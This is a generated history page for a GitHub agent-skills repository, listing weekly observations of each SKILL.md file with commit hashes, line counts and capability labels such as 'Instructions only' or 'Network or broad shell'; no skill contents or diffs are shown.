Not in the top 1,000 by GitHub stars

benjaminasterA/antigravity-awesome-skills

antigravity-awesome-skills

History

Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.

View weekly changes

skills/3d-web-experience/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/ab-test-setup/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/accessibility-compliance-accessibility-audit/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/active-directory-attacks/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/activecampaign-automation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/address-github-comments/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/agent-evaluation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/agent-framework-azure-ai-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/agent-manager-skill/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/agent-memory-mcp/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/agent-memory-systems/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/agent-orchestration-improve-agent/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/agent-orchestration-multi-agent-optimize/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/agent-tool-builder/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/agents-v2-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/ai-agents-architect/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/ai-engineer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/ai-product/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/ai-wrapper-product/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/airflow-dag-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/airtable-automation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/algolia-search/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/algorithmic-art/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Local scripts

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/amplitude-automation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/analytics-tracking/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/angular/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/angular-best-practices/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/angular-migration/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/angular-state-management/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/angular-ui-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/anti-reversing-techniques/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/antigravity-workflows/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/api-design-principles/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Local scripts

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/api-documentation-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/api-documenter/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/api-fuzzing-bug-bounty/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/api-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Local scripts

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/api-security-best-practices/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/api-testing-observability-api-mock/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/app-builder/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/app-builder/templates/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/app-store-optimization/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Local scripts

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/application-performance-performance-optimization/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/architect-review/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/architecture/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/architecture-decision-records/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/architecture-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/arm-cortex-expert/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/asana-automation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/async-python-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/attack-tree-construction/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/audio-transcriber/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/auth-implementation-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/automate-whatsapp/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/autonomous-agent-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/autonomous-agents/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/avalonia-layout-zafiro/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/avalonia-viewmodels-zafiro/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/avalonia-zafiro-development/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/aws-penetration-testing/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/aws-serverless/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/aws-skills/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azd-deployment/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-ai-agents-persistent-dotnet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-ai-agents-persistent-java/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-ai-anomalydetector-java/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-ai-contentsafety-java/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-ai-contentsafety-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-ai-contentsafety-ts/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-ai-contentunderstanding-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-ai-document-intelligence-dotnet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-ai-document-intelligence-ts/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-ai-formrecognizer-java/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-ai-ml-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

